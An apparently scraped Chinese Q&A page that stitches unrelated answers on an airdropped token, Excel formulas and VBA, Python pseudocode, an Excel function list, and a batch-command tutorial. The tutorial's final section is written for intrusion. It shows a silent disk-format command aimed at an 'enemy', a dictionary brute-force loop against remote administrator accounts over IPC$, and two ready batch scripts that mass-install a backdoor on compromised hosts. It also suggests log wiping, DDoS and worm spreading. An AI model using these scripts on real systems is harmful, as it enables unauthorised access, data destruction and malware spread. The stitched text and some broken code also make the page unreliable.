find数字货币
A. imToken钱包里面突然多出来一种这个币,findtherabbit.me 请问这是什么币
空投币
没啥价值
B. EXCEL里面的格子格式自动生成为货币形式
把VBA代码加入OPEN事件就可以完成,方法如下
alt+f11 打开代码页
2. 左边找到ThisWorkbook,双击它
3. 左边下拉列表分别选择Workbook和右边的Open
4. 在下面加入代码
----------------------------------------代码区---------------------------------------------
'如果不是第1个表,则把1改为"表名,如sheets(1)改为sheets("表名")
cl = Sheets(1).UsedRange.Find("Count", , , , 1).Column
px = Sheets(1).Cells(1, cl).Address
ra = Split(px, "$")(1)
Sheets(1).Range(ra & ":" & ra).NumberFormatLocal = "$#,##0;-$#,##0"
----------------------------------------代码区---------------------------------------------
如下面所示:
如果不是第1个表,则要把代码里的把1改为"表名",如:sheets(1)改为sheets("表名")
C. 将单元格内的货币数字跟日期分离出来的函数
由于后面部分的长度固定为19位,可以用LEFT取前面、RIGHT取后面部分,公式分别见下图:
D. python小问题
给出简单代码,具体的函数自己查下
while1:
value=input()
ifvalue.startwith(RMB)
v_rmb=value.截取RMB后面的数字
v_float=v_rmb.转换为浮点数
汇率换算成USD
输出
else
v_usd=value.截取USD后面数字
v_float=v_usd.转换浮点数
汇率换算RMB
输出
E. excel表中判断几个单元格有无某数值,并返回一个数值
假如判断G1到L1,如果有n就显示n,如果没有n就显示空白
A1输入
=if(countif(G1:L1, n),n,"")
n为具体的某数值。
F. EXCEL中FIND函数的用法
EXCEL中FIND函数的具体操作方法如下:
1、函数的格式:find(find_text,within_text,start_num),功能:within_text所示的字符串中,从左边第start_num个字符开展,查找find_text所示的子字符串。
G. EXCEL问题
这个就太多了,实际工作时,建议参考http://office.microsoft.com/zh-cn/assistance/CH790018022052.aspx进行相关学习:
数据库工作表函数
Microsoft Excel 中包含了一些工作表函数,用于对存储在列表或数据库中的数据进行分析,这些函数统称为 Dfunctions,每个函数均有三个参数:database、field 和 criteria。这些参数指向函数所使用的工作表区域。
DAVERAGE 返回选择的数据库条目的平均值
DCOUNT 计算数据库中包含数字的单元格个数
DCOUNTA 计算数据库中的非空单元格
DGET 从数据库提取符合指定条件的单个记录
DMAX 返回选择的数据库条目的最大值
DMIN 返回选择的数据库条目的最小值
DPRODUCT 将数据库中符合条件的记录的特定字段中的值相乘
DSTDEV 基于选择的数据库条目的样本估算标准偏差
DSTDEVP 基于选择的数据库条目的总体计算标准偏差
DSUM 将数据库中符合条件的记录的字段列中的数字相加
DVAR 基于选择的数据库条目的样本估算方差
DVARP 基于选择的数据库条目的样本总体计算方差
GETPIVOTDATA 返回存储在数据透视表中的数据
日期与时间函数
DATE 返回特定日期的序列号
DATEVALUE 将文本格式的日期转换为序列号
DAY 将序列号转换为月的日期
DAYS360 计算基于一年 360 天的两个日期间的天数
EDATE 返回用于表示开始日期之前或之后月数的日期的序列号
EOMONTH 返回指定个数月之前或之后的月的末日的序列号
HOUR 将序列号转换为小时
MINUTE 将序列号转换为分钟
MONTH 将序列号转换为月
NETWORKDAYS 返回两个日期之间的所有工作日个数
NOW 返回当前日期和时间的序列号
SECOND 将序列号转换为秒
TIME 返回特定时间的序列号
TIMEVALUE 将文本格式的时间转换为序列号
TODAY 返回今天日期的序列号
WEEKDAY 将序列号转换为一星期的某天
WEEKNUM 将序列号转换为代表该星期为一年中的第几周的数字
WORKDAY 返回指定个数工作日之前或之后日期的序列号
YEAR 将序列号转换为年
YEARFRAC 返回代表 start_date 和 end_date 之间的天数的年分数
外部函数
这些函数使用加载项 (加载项:为 Microsoft Office 提供自定义命令或自定义功能的补充程序。)程序加载
EUROCONVERT 将数字转换为欧元形式,将数字由欧元形式转换为欧盟成员国货币形式,或利用欧元作为中间货币将数字由某一欧盟成员国货币转化为另一欧盟成员国货币的形式(三角转换关系)。
SQL.REQUEST 连接到一个外部的数据源并从工作表中运行查询,然后将查询结果以数组的形式返回,无需进行宏编程。
工程函数
BESSELI 返回已修改的 Bessel 函数 In(x)
BESSELJ 返回 Bessel 函数 Jn(x)
BESSELK 返回已修改的 Bessel 函数 Kn(x)
BESSELY 返回 Bessel 函数 Yn(x)
BIN2DEC 将二进制数转换为十进制数
BIN2HEX 将二进制数转换为十六进制数
BIN2OCT 将二进制数转换为八进制数
COMPLEX 将实系数和虚系数转换为复数
CONVERT 将数字从一个度量系统转换为另一个度量系统
DEC2BIN 将十进制数转换为二进制数
DEC2HEX 将十进制数转换为十六进制数
DEC2OCT 将十进制数转换为八进制数
DELTA 检验是否两个值相等
ERF 返回错误函数
ERFC 返回互补错误函数
GESTEP 检验数字是否大于阈值
HEX2BIN 将十六进制数转换为二进制数
HEX2DEC 将十六进制数转换为十进制数
HEX2OCT 将十六进制数转换为八进制数
IMABS 返回复数的的绝对值(模数)
IMAGINARY 返回复数的虚系数
IMARGUMENT 返回参数 theta,即以弧度表示的角
IMCONJUGATE 返回复数的共轭复数
IMCOS 返回复数的余弦
IMDIV 返回两个复数的商
IMEXP 返回复数的指数
IMLN 返回复数的自然对数
IMLOG10 返回复数的以 10 为底的对数
IMLOG2 返回复数的以 2 为底的对数
IMPOWER 返回整数次幂的复数
IMPRODUCT 返回两个复数的积
IMREAL 返回复数的实系数
IMSIN 返回复数的正弦
IMSQRT 返回复数的平方根
IMSUB 返回两个复数的差
IMSUM 返回多个复数的和
OCT2BIN 将八进制数转换为二进制数
OCT2DEC 将八进制数转换为十进制数
OCT2HEX 将八进制数转换为十六进制数
财务函数
ACCRINT 返回定期付息有价证券的应计利息
ACCRINTM 返回到期一次性付息有价证券的应计利息
AMORDEGRC 返回使用折旧系数的每个结算期间的折旧值
AMORLINC 返回每个结算期间的折旧值
COUPDAYBS 返回当前付息期内截止到成交日的天数
COUPDAYS 返回包含成交日所在的付息期的天数
COUPDAYSNC 返回从成交日到下一付息日之间的天数
COUPNCD 返回成交日之后的下一个付息日
COUPNUM 返回成交日和到期日之间的付息次数
COUPPCD 返回成交日之前的前一个的付息日
CUMIPMT 返回两个期间内累计支付的利息
CUMPRINC 返回一笔贷款在两个期间内累计偿还的本金数额
DB 使用固定余额递减法,返回一笔资产在给定期间内的折旧值
DDB 使用双倍余额递减法或其他指定方法,返回一笔资产在给定期间内的折旧值
DISC 返回有价证券的贴现率
DOLLARDE 将按分数表示的价格转换为按小数表示的价格
DOLLARFR 将按小数表示的价格转换为按分数表示的价格
DURATION 返回定期付息有价证券的每年期限
EFFECT 返回实际年利率
FV 返回一笔投资的未来值
FVSCHEDULE 返回应用一系列复利率后的本金的未来值
INTRATE 返回一次性付息有价证券的利率
IPMT 返回一笔投资在给定期间内支付的利息
IRR 返回一系列现金流的内部收益率
ISPMT 计算特定投资期内要支付的利息
MDURATION 返回假设面值 $100 的有价证券的 Macauley 修正期限
MIRR 返回正和负现金流以不同利率进行计算的内部收益率
NOMINAL 返回年名义利率
NPER 返回投资期间的数量
NPV 返回基于一系列定期现金流和贴现率计算的投资的现净值
ODDFPRICE 返回首期付息日不固定的面值 $100 的有价证券价格
ODDFYIELD 返回首期付息日不固定的有价证券的收益率
ODDLPRICE 返回末期付息日不固定的面值 $100 的有价证券价格
ODDLYIELD 返回末期付息日不固定的有价证券的收益率
PMT 返回年金的定期支付金额
PPMT 返回一笔投资在给定期间内偿还的本金
PRICE 返回定期付息的面值 $100 的有价证券的价格
PRICEDISC 返回折价发行的面值 $100 的有价证券的价格
PRICEMAT 返回到期付息的面值 $100 的有价证券的价格
PV 返回投资的现值
RATE 返回年金的各期利率
RECEIVED 返回一次性付息的有价证券到期收回的金额
SLN 返回一笔资产在某个期间内的线性折旧值
SYD 返回一笔资产按年限总和折旧法计算的指定期间的折旧值
TBILLEQ 返回国库券的等效收益率
TBILLPRICE 返回面值 $100 的国库券的价格
TBILLYIELD 返回国库券的收益率
VDB 使用余额递减法,返回一笔资产在给定期间或部分期间内的折旧值
XIRR 返回一组不定期发生的现金流的内部收益率
XNPV 返回一组不定期发生的现金流的净现值
YIELD 返回定期付息有价证券的收益率
YIELDDISC 返回折价发行的有价证券(如国库券)的年收益率
YIELDMAT 返回到期付息的有价证券的年收益率
信息函数
CELL 返回单元格的格式、位置或内容等信息
ERROR.TYPE 返回相应错误类型的个数
INFO 返回有关当前操作环境的信息
ISBLANK 如果值为空,则返回 TRUE
ISERR 如果值为除 #N/A 以外的任何错误值,则返回 TRUE
ISERROR 如果值为任何错误值,则返回 TRUE
ISEVEN 如果数字为偶数,则返回 TRUE
ISLOGICAL 如果值为逻辑值,则返回 TRUE
ISNA 如果值为 #N/A 错误值,则返回 TRUE
ISNONTEXT 如果值不为文本,则返回 TRUE
ISNUMBER 如果值为数字,则返回 TRUE
ISODD 如果数字为奇数,则返回 TRUE
ISREF 如果值为引用值,则返回 TRUE
ISTEXT 如果值为文本,则返回 TRUE
N 返回转换为数字的值
NA 返回错误值 #N/A
TYPE 返回表示值的数据类型的数字
逻辑运算符
AND 如果其所有参数为 TRUE,则返回 TRUE
FALSE 返回逻辑值 FALSE
IF 指定要执行的逻辑检验
NOT 对其参数的逻辑求反
OR 如果所有参数为 TRUE,则返回 TRUE
TRUE 返回逻辑值 TRUE
查找和引用函数
ADDRESS 以文本形式将引用值返回工作表的单个单元格
AREAS 返回引用值中包含的区域个数
CHOOSE 从一列值中选择值
COLUMN 返回引用的列个数
COLUMNS 返回引用中包含的列个数
HLOOKUP 查找数组的首行,并返回特定单元格的值
HYPERLINK 创建一个快捷方式或跳转,用以打开存储在网络服务器、Intranet 或 Internet 中的文件
INDEX 使用索引从引用或数组选择值
INDIRECT 返回由文本值指定的引用
LOOKUP 在向量或数组中查找值
MATCH 在引用值或数组中查找值
OFFSET 从给定引用值返回引用偏移量
ROW 返回引用的行个数
ROWS 返回引用中包含的行个数
RTD 从支持 COM 自动化 (自动化:从其他应用程序或开发工具使用应用程序的对象的方法。以前称为“OLE 自动化”,自动化是一种工业标准和组件对象模型 (COM) 功能。)的程序中返回实时数据
TRANSPOSE 返回数组的转置
VLOOKUP 查找数组首列,移动到行并返回单元格的值
数学和三角函数
ABS 返回数字的绝对值
ACOS 返回数字的反余弦值
ACOSH 返回数字的反双曲余弦值
ASIN 返回数字的反正弦值
ASINH 返回数字的反双曲正弦值
ATAN 返回数字的反正切值
ATAN2 返回 X 和 Y 坐标的反正切值
ATANH 返回数字的反双曲正切值
CEILING 将数字舍入为最接近的整数或最接近的 Significance 的倍数
COMBIN 返回给定数目对象的组合数
COS 返回数字的余弦
COSH 返回数字的双曲余弦值
DEGREES 将弧度转换为度
EVEN 将数字向上舍入为最接近的偶数
EXP 返回 e 的给定数字次幂
FACT 返回数字的阶乘
FACTDOUBLE 返回数字的双倍阶乘
FLOOR 向绝对值减小的方向舍入数字
GCD 返回最大公约数
INT 将数字向下舍入到最接近的整数
LCM 返回最小公倍数
LN 返回数字的自然对数
LOG 按所指定的底数,返回数字的对数
LOG10 返回数字的以 10 为底的对数
MDETERM 返回数组的矩阵行列式的值
MINVERSE 返回数组的逆矩阵
MMULT 返回两个数组的矩阵乘积
MOD 返回除法的余数
MROUND 返回舍入到指定倍数的数值
MULTINOMIAL 返回一组数字的多项式
ODD 将数字向上舍入为最接近的奇数
PI 返回 pi 的值
POWER 返回给定数字次幂的结果
PRODUCT 将其参数相乘
QUOTIENT 返回除法的整数部分
RADIANS 将角度转换为弧度
RAND 返回 0 和 1 之间的一个随机数
RANDBETWEEN 返回指定数字间的随机数
ROMAN 将阿拉伯数字转换为文本形式的罗马数字
ROUND 将数字按指定位数舍入
ROUNDDOWN 向绝对值减小的方向舍入数字
ROUNDUP 向绝对值增大的方向舍入数字
SERIESSUM 返回基于以下公式的幂级数之和
SIGN 返回数字的符号
SIN 返回给定角度的正弦值
SINH 返回数字的双曲正弦值
SQRT 返回正平方根
SQRTPI 返回某数与 pi 的乘积的平方根
SUBTOTAL 返回列表或数据库中的分类汇总
SUM 将其参数相加
SUMIF 按给定条件对若干单元格求和
SUMPRODUCT 返回对应的数组元素的乘积和
SUMSQ 返回参数的平方和
SUMX2MY2 返回两个数组中对应值的平方差之和
SUMX2PY2 返回两个数组中对应值的平方和之和
SUMXMY2 返回两数组中对应值的平方差的之和
TAN 返回数字的正切
TANH 返回数字的双曲正切值
TRUNC 将数字截尾取整
统计函数
AVEDEV 返回数据点与它们的平均值的绝对偏差平均值
AVERAGE 返回其参数的平均值
AVERAGEA 返回其参数的平均值,包括数字、文本和逻辑值
BETADIST 返回 Beta 累积分布函数
BETAINV 返回指定 Beta 分布的累积分布函数的反函数
BINOMDIST 返回一元二项式分布的概率值
CHIDIST 返回 γ2 分布的单尾概率
CHIINV 返回 γ2 分布的单尾概率的反函数
CHITEST 返回独立性检验值
CONFIDENCE 返回总体平均值的置信区间
CORREL 返回两个数据集之间的相关系数
COUNT 计算参数列表中的数字个数
COUNTA 计算参数列表中的数值个数
COUNTBLANK 计算区间内的空白单元格个数
COUNTIF 计算满足给定条件的区间内的非空单元格个数
COVAR 返回协方差,成对偏差乘积的平均值
CRITBINOM 返回使累积二项式分布小于或等于临界值的最小值
DEVSQ 返回偏差的平方和
EXPONDIST 返回指数分布
FDIST 返回 F 概率分布
FINV 返回 F 概率分布的反函数值
FISHER 返回 Fisher 变换
FISHERINV 返回 Fisher 变换的反函数值
FORECAST 返回沿线性趋势的值
FREQUENCY 以垂直数组的形式返回频率分布
FTEST 返回 F 检验的结果
GAMMADIST 返回伽玛分布
GAMMAINV 返回伽玛累积分布函数的反函数
GAMMALN 返回伽玛函数的自然对数,Γ(x)
GEOMEAN 返回几何平均值
GROWTH 返回沿指数趋势的值
HARMEAN 返回调和平均值
HYPGEOMDIST 返回超几何分布
INTERCEPT 返回线性回归线的截距
KURT 返回数据集的峰值
LARGE 返回数据集中第 k 个最大值
LINEST 返回线性趋势的参数
LOGEST 返回指数趋势的参数
LOGINV 返回对数分布函数的反函数
LOGNORMDIST 返回对数累积分布函数
MAX 返回参数列表中的最大值
MAXA 返回参数列表中的最大值,包括数字、文本和逻辑值
MEDIAN 返回给定数值集合的中值
MIN 返回参数列表中的最小值
MINA 返回参数列表中的最小值,包括数字、文本和逻辑值
MODE 返回在数据集中出现次数最多的值
NEGBINOMDIST 返回负二项式分布
NORMDIST 返回正态累积分布
NORMINV 返回正态累积分布的反函数
NORMSDIST 返回标准正态累积分布
NORMSINV 返回标准正态累积分布的反函数
PEARSON 返回 Pearson 乘积矩相关系数
PERCENTILE 返回区域中数值的第 K 个百分点的值
PERCENTRANK 返回数据集中的值的百分比排位
PERMUT 返回给定数目对象的排列数量
POISSON 返回泊松分布
PROB 返回区域中的数值落在指定区间内的概率
QUARTILE 返回数据集的四分位数
RANK 返回一列数字的数字排位
RSQ 返回 Pearson 乘积矩相关系数的平方
SKEW 返回分布的偏斜度
SLOPE 返回线性回归线的斜率
SMALL 返回数据集中第 K 个最小值
STANDARDIZE 返回正态化数值
STDEV 估算基于给定样本的标准偏差
STDEVA 估算基于给定样本(包括数字、文本和逻辑值)的标准偏差
STDEVP 计算基于给定的样本总体的标准偏差
STDEVPA 计算基于总体(包括数字、文本和逻辑值)的标准偏差
STEYX 返回通过线性回归法计算每个 x 的 y 预测值时所产生的标准误差
TDIST 返回学生的 t 分布
TINV 返回学生的 t 分布的反函数
TREND 返回沿线性趋势的值
TRIMMEAN 返回数据集的内部平均值
TTEST 返回与学生的 t 检验相关的概率
VAR 估算基于样本的方差
VARA 估算基于样本(包括数字、文本和逻辑值)的方差
VARP 计算基于样本总体的方差
VARPA 计算基于样本总体(包括数字、文本和逻辑值)的方差
WEIBULL 返回韦伯分布
ZTEST 返回 z 检验的单尾概率值
文本和数据函数
ASC 将字符串中的全角(双字节)英文字母或片假名更改为半角(单字节)字符
BAHTTEXT 使用 ß(泰铢)货币格式将数字转换成文本
CHAR 返回代码数字所对应的字符
CLEAN 删除文本中不可打印的字符
CODE 返回文本字符串中第一个字符的数字代码
CONCATENATE 将几个文本项合并为一个文本项
DOLLAR 使用 $(美元)货币格式将数字转换成文本
EXACT 检查两个文本值是否相同
FIND 在一个文本值中查找另一个文本值(区分大小写)
FIXED 将数字格式设置为具有固定小数位数
JIS 将字符串中的半角(单字节)英文字母或片假名更改为全角(双字节)字符
LEFT 返回文本值中最左边的字符
LEN 返回文本字符串中的字符个数
LOWER 将文本转换为小写
MID 在文本字符串中,从您所指定的位置开始返回指定数量的字符
PHONETIC 提取文本字符串中的拼音 (furigana) 字符
PROPER 将文本值的每个字的首字母大写
REPLACE 替换文本中的字符
REPT 按照给定的次数重复显示文本
RIGHT 返回文本值中最右边的字符
SEARCH 在一个文本值中查找另一个文本值(不区分大小写)
SUBSTITUTE 在文本字符串中用新文本替换旧文本
T 将其参数转换为文本
TEXT 设置数字格式并将其转换为文本
TRIM 从文本删除空格
UPPER 将文本转换成大写形式
VALUE 将文本参数转换为数字
H. 如何在excel将数字从货币符号中分解出来
如果其中有空格可以用分列的方法将其分开为两列。
如果没有空格,也没有规律可以用以下公式提取:
=-LOOKUP(,-MID(A1,MIN(FIND({0;1;2;3;4;5;6;7;8;9},A1&1234567890)),ROW($1:$1024)))
I. excel中,单元格内数字如百万位为0,则显示人民币符号,如百万位不为0,则显示该数字,怎么写公式
虽然没见过你这种用法的,但是既然你要求了,就按你的要求给你公式。
公式为:
=IF(FIND(".",A1)=8,A1,"¥"&A1)
如图所示:
J. bat命令、全一点的、给加分
一.简单批处理内部命令简介 1.Echo 命令 打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。 语法 echo [{onoff}] [message] Sample:@echo off / echo hello world 在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。 2.@ 命令 表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。 Sample:@echo off @echo Now initializing the program,please wait a minite... @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。) 3.Goto 命令 指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。 语法:goto label (label是参数,指定所要转向的批处理程序中的行。) Sample: if {%1}=={} goto noparms if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。) @Rem check parameters if null show usage :noparms echo Usage: monitor.bat ServerIP PortNumber goto end 标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。 4.Rem 命令 注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。 Rem Message Sample:@Rem Here is the description. 5.Pause 命令 运行 Pause 命令时,将显示下面的消息: Press any key to continue . . . Sample: @echo off :begin a:*.* d:\back echo Please put a new disk into driver A pause goto begin 在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
6.Call 命令 从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。 语法 call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]] 参数 [Drive:}[Path] FileName 指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。 7.start 命令 调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。 入侵常用参数: MIN 开始时窗口最小化 SEPARATE 在分开的空间内开始 16 位 Windows 程序 HIGH 在 HIGH 优先级类别开始应用程序 REALTIME 在 REALTIME 优先级类别开始应用程序 WAIT 启动应用程序并等候它结束 parameters 这些为传送到命令/程序的参数 执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。 8.choice 命令 choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234…… 如: choice /c:dme defrag,mem,end 将显示 defrag,mem,end[D,M,E]? Sample: Sample.bat的内容如下: @echo off choice /c:dme defrag,mem,end if errorlevel 3 goto defrag (应先判断数值最高的错误码) if errorlevel 2 goto mem if errotlevel 1 goto end :defrag c:\dos\defrag goto end :mem mem goto end :end echo good bye 此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。 9.If 命令 if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式: 1、if "参数" == "字符串" 待执行的命令 参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号) 如if "%1"=="a" format a: if {%1}=={} goto noparms if {%2}=={} goto noparms 2、if exist 文件名 待执行的命令 如果有指定的文件,则条件成立,运行命令,否则运行下一句。 如if exist config.sys edit config.sys 3、if errorlevel / if not errorlevel 数字 待执行的命令 如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。 如if errorlevel 2 goto x2 DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令 for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。 在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable for {%variable%%variable} in (set) do command [ CommandLineOptions] %variable 指定一个单一字母可替换的参数。 (set) 指定一个或一组文件。可以使用通配符。 command 指定对每个文件执行的命令。 command-parameters 为特定命令指定参数或命令行开关。 在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable 而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I 如果命令扩展名被启用,下列额外的 FOR 命令格式会受到 支持: FOR /D %variable IN (set) DO command [command-parameters] 如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。 FOR /R [[drive:]path] %variable IN (set) DO command [command- 检查以 [drive:]path 为根的目录树,指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。 FOR /L %variable IN (start,step,end) DO command [command-para 该集表示以增量形式从开始到结束的一个数字序列。 因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生 序列 (5 4 3 2 1)。 FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command 或者,如果有 usebackq 选项: FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command filenameset 为一个或多个文件名。继续到 filenameset 中的 下一个文件之前,每份文件都已被打开、读取并经过处理。 处理包括读取文件,将其分成一行行的文字,然后将每行 解析成零或更多的符号。然后用已找到的符号字符串变量值 调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开 的第一个空白符号。跳过空白行。您可通过指定可选 "options" 参数替代默认解析操作。这个带引号的字符串包括一个或多个 指定不同解析选项的关键字。这些关键字为: eol=c - 指一个行注释字符的结尾(就一个) skip=n - 指在文件开始时忽略的行数。 delims=xxx - 指分隔符集。这个替换了空格和跳格键的 默认分隔符集。 tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代 的 for 本身。这会导致额外变量名称的 格式为一个范围。通过 nth 符号指定 m 符号字符串中的最后一个字符星号, 那么额外的变量将在最后一个符号解析之 分配并接受行的保留文本。 usebackq - 指定新语法已在下类情况中使用: 在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi中使用双引号扩起文件名称。
sample1: FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command 会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。 %i 专门在 for 语句中得到说明,%j 和 %k 是通过 tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 z 或Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的同时不能有 52 个以上都在使用中。 您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。 最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子: FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i 会枚举当前环境中的环境变量名称。 另外,FOR 变量参照的替换已被增强。您现在可以使用下列 选项语法: ~I - 删除任何引号("),扩充 %I %~fI - 将 %I 扩充到一个完全合格的路径名 %~dI - 仅将 %I 扩充到一个驱动器号 %~pI - 仅将 %I 扩充到一个路径 %~nI - 仅将 %I 扩充到一个文件名 %~xI - 仅将 %I 扩充到一个文件扩展名 %~sI - 扩充的路径只含有短名 %~aI - 将 %I 扩充到文件的文件属性 %~tI - 将 %I 扩充到文件的日期/时间 %~zI - 将 %I 扩充到文件的大小 %~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串 可以组合修饰符来得到多重结果: %~dpI - 仅将 %I 扩充到一个驱动器号和路径 %~nxI - 仅将 %I 扩充到一个文件名和扩展名 %~fsI - 仅将 %I 扩充到一个带有短名的完整路径名 %~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。 %~ftzaI - 将 %I 扩充到类似输出线路的 DIR 在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法 用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。 以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。 sample2: 利用For命令来实现对一台目标Win2k主机的暴力密码破解。 我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。 最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator" 用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令-- for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"find ":命令成功完成">>D:\ok.txt ,这样就ko了。 sample3: 你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。 主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable) @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。 而cultivate.bat无非就是用net use命令来建立IPC$连接,并木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。 delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。 代码雏形: --------------- cut here then save as a batchfile(I call it main.bat ) ----------------- @echo off @if "%1"=="" goto usage @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k @goto end :usage @echo run this batch in dos modle.or just double-click it. :end --------------- cut here then save as a batchfile(I call it main.bat ) ----------------- --------------- cut here then save as a batchfile(I call it door.bat) ------------------ @net use \\%1\ipc$ %3 /u:"%2" @if errorlevel 1 goto failed @echo Trying to establish the IPC$ connection …………OK @ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt @pse*x*e*c \\%1 c:\winnt\system32\windrv32.exe @ps*e*x*e*c \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt :failed @echo Sorry can not connected to the victim. ----------------- cut here then save as a batchfile(I call it door.bat) -
-------------- 这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PS*e*x*e*c.exe需放在统一目录下.批处理内容 尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究。